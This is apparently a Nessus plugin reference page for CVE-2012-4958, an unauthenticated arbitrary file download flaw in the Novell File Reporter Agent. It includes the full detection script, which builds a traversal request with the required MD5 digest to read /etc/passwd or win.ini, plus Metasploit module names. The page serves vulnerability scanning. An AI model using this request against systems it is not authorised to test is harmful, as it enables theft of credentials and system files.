Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download - Nessus

High   Plugin ID: 62977

This page contains detailed information about the Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 62977
Name: Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download
Filename: novell_file_reporter_agent_download.nasl
Vulnerability Published: 2012-11-16
This Plugin Published: 2012-11-20
Last Modification Time: 2018-11-15
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: Misc.
Dependencies: novell_file_reporter_agent_detect.nbin, os_fingerprint.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2012-11-16
Patch Published: N/A
CVE [?]: CVE-2012-4958
CPE [?]: cpe:/a:novell:file_reporter

Synopsis

An application running on the remote host has an arbitrary file download vulnerability.

Description

The version of Novell File Reporter Agent running on the remote host has an arbitrary file download vulnerability. Making a specially crafted POST request to /FSF/CMD for records with a name of FSFUI and UICMD of 126 could result in arbitrary files being downloaded. A remote, unauthenticated attacker could exploit this to download arbitrary files as root (against Linux targets) or SYSTEM (against Windows targets).

This version of Novell File Reporter Agent likely has other vulnerabilities, but Nessus has not checked for those issues.

Solution

There is no known solution at this time.

Public Exploits


Target Network Port(s): 3037
Target Asset(s): Services/nfr-agent
Exploit Available: True (Metasploit Framework)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download vulnerability:

  1. Metasploit: exploit/windows/novell/file_reporter_fsfui_upload
    [NFR Agent FSFUI Record File Upload RCE]
  2. Metasploit: auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
    [NFR Agent FSFUI Record Arbitrary Remote File Access]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:N/A:N/E:POC/RL:U/RC:C
CVSS Base Score:7.8 (High)
Impact Subscore:6.9
Exploitability Subscore:10.0
CVSS Temporal Score:7.0 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.0 (High)

Go back to menu.

Plugin Source


This is the novell_file_reporter_agent_download.nasl nessus plugin source code. This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(62977);
  script_version("1.9");
  script_cvs_date("Date: 2018/11/15 20:50:23");

  script_cve_id("CVE-2012-4958");
  script_bugtraq_id(56579);
  script_xref(name:"CERT", value:"273371");

  script_name(english:"Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download");
  script_summary(english:"Tries to download a file");

  script_set_attribute(
    attribute:"synopsis",
    value:
"An application running on the remote host has an arbitrary file
download vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of Novell File Reporter Agent running on the remote host
has an arbitrary file download vulnerability.  Making a specially
crafted POST request to /FSF/CMD for records with a name of FSFUI and
UICMD of 126 could result in arbitrary files being downloaded.  A
remote, unauthenticated attacker could exploit this to download
arbitrary files as root (against Linux targets) or SYSTEM (against
Windows targets). 

This version of Novell File Reporter Agent likely has other
vulnerabilities, but Nessus has not checked for those issues."
  );
  # https://blog.rapid7.com/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2d6b6622");
  script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'NFR Agent FSFUI Record File Upload RCE');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:file_reporter");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("novell_file_reporter_agent_detect.nbin", "os_fingerprint.nasl");
  script_require_ports("Services/nfr-agent", 3037);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_service(svc:'nfr-agent', default:3037, exit_on_fail:TRUE);

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
  {
    checks["\windows\win.ini"] = '; for 16-bit app support';
    checks["\winnt\win.ini"] = '; for 16-bit app support';
  }
  else
  {
    checks["/etc/passwd"] = 'root:.*:0:[01]:';
  }
}
else
{
    checks["\windows\win.ini"] = '; for 16-bit app support';
    checks["\winnt\win.ini"] = '; for 16-bit app support';
    checks["/etc/passwd"] = 'root:.*:0:[01]:';
}

foreach file (keys(checks))
{
  pattern = checks[file];
  if ('/etc/passwd' >< file)
    traversal = '../../../../../../../../..';
  else
    traversal = '..\\..\\..\\..\\..\\..\\..\\..\\..';

  record =
    '<RECORD>' +
    '<NAME>FSFUI</NAME>' +
    '<UICMD>126</UICMD>' +
    '<FILE>' + traversal + file + '</FILE>' +
    '</RECORD>';
  digest = toupper(hexstr(MD5('SRS' + record + 'SERVER')));
  req = digest + record;
  res = http_send_recv3(
    port:port,
    method:'POST',
    item:'/FSF/CMD',
    data:req,
    content_type:'text/xml',
    exit_on_fail:TRUE
  );

  if (res[2] =~ pattern)
  {
    res[2] = data_protection::redact_etc_passwd(output:res[2]);
    if (report_verbosity > 0)
    {
      # extract the file contents from the XML response
      contents = strstr(res[2], '![CDATA[');
      trailer = strstr(contents, ']]>');
      contents = contents - '![CDATA[' - trailer;

      report =
        '\nNessus retrieved ' + file + ' by making the following request :\n\n' +
        http_last_sent_request() +
        '\n\nWhich returned the following data :\n\n' +
        contents;
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
    # never reached
  }
}

# this code is only hit if none of the exploit attempts worked
audit(AUDIT_LISTEN_NOT_VULN, 'Novell File Reporter Agent', port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/novell_file_reporter_agent_download.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\novell_file_reporter_agent_download.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/novell_file_reporter_agent_download.nasl

Go back to menu.

How to Run


Here is how to run the Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Misc. plugin family.
  6. On the right side table select Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download plugin ID 62977.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl novell_file_reporter_agent_download.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a novell_file_reporter_agent_download.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - novell_file_reporter_agent_download.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state novell_file_reporter_agent_download.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CERT | Computer Emergency Response Team: See also: Similar and related Nessus plugins:
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 69557 - Novell Client / Client 2 Multiple Vulnerabilities
  • 53536 - Novell File Reporter Agent XML Tag Handling Buffer Overflow
  • 62026 - Novell File Reporter Agent XML Parsing Remote Code Execution
  • 55471 - Novell File Reporter Engine RECORD Element Tag Parsing Overflow (credentialed check)
  • 55544 - Novell File Reporter Engine RECORD Element Tag Parsing Overflow (uncredentialed check)
  • 43060 - Novell iPrint Client < 5.32 Multiple Overflows
  • 48364 - Novell iPrint Client < 5.42 Multiple Flaws
  • 48407 - Novell iPrint Client < 5.44 Multiple Vulnerabilities
  • 51367 - Novell iPrint Client < 5.56 Multiple Vulnerabilities
  • 56682 - Novell iPrint Client < 5.72 nipplib.dll GetDriverSettings Function Buffer Overflow
  • 31136 - Novell iPrint Control ActiveX (ienipp.ocx) ExecuteRequest() Method Overflow
  • 34049 - Novell iPrint Client ActiveX Control Multiple Vulnerabilities
  • 33227 - Novell iPrint Client for Windows ienipp.ocx ActiveX Multiple Variable Overflow
  • 36103 - Novell NetIdentity Agent < 1.2.4 Arbitrary Pointer De-reference Code Execution
  • 20318 - Novell NetMail IMAP Agent Long Verb Arguments Remote Overflow
  • 29898 - Novell Client nicm.sys Local Privilege Escalation
  • 33481 - Novell Client nwfs.sys Local Privilege Escalation
  • 25952 - Novell Client nwspool.dll RPC Printer Functions Remote Overflow (300870)
  • 62968 - Novell Sentinel Log Manager Authentication Bypass
  • 23699 - Novell NetWare Client Print Provider (nwspool.dll) Multiple Function Overflow
  • 65722 - Novell ZENworks Control Center File Upload Remote Code Execution
  • 45569 - Novell ZENworks Configuration Management < 10 SP3 Multiple Flaws
  • 58968 - Novell ZENworks Configuration Management PreBoot Service Opcode Request Parsing Vulnerabilities
  • 83289 - Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 65551 - Novell ZENworks Mobile Management MDM.php Local File Inclusion
  • 61709 - Novell eDirectory < 8.8 SP6 Patch 5 Multiple Vulnerabilities
  • 63338 - Novell eDirectory 8.8.x Multiple Security Vulnerabilities

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file novell_file_reporter_agent_download.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

Go back to menu.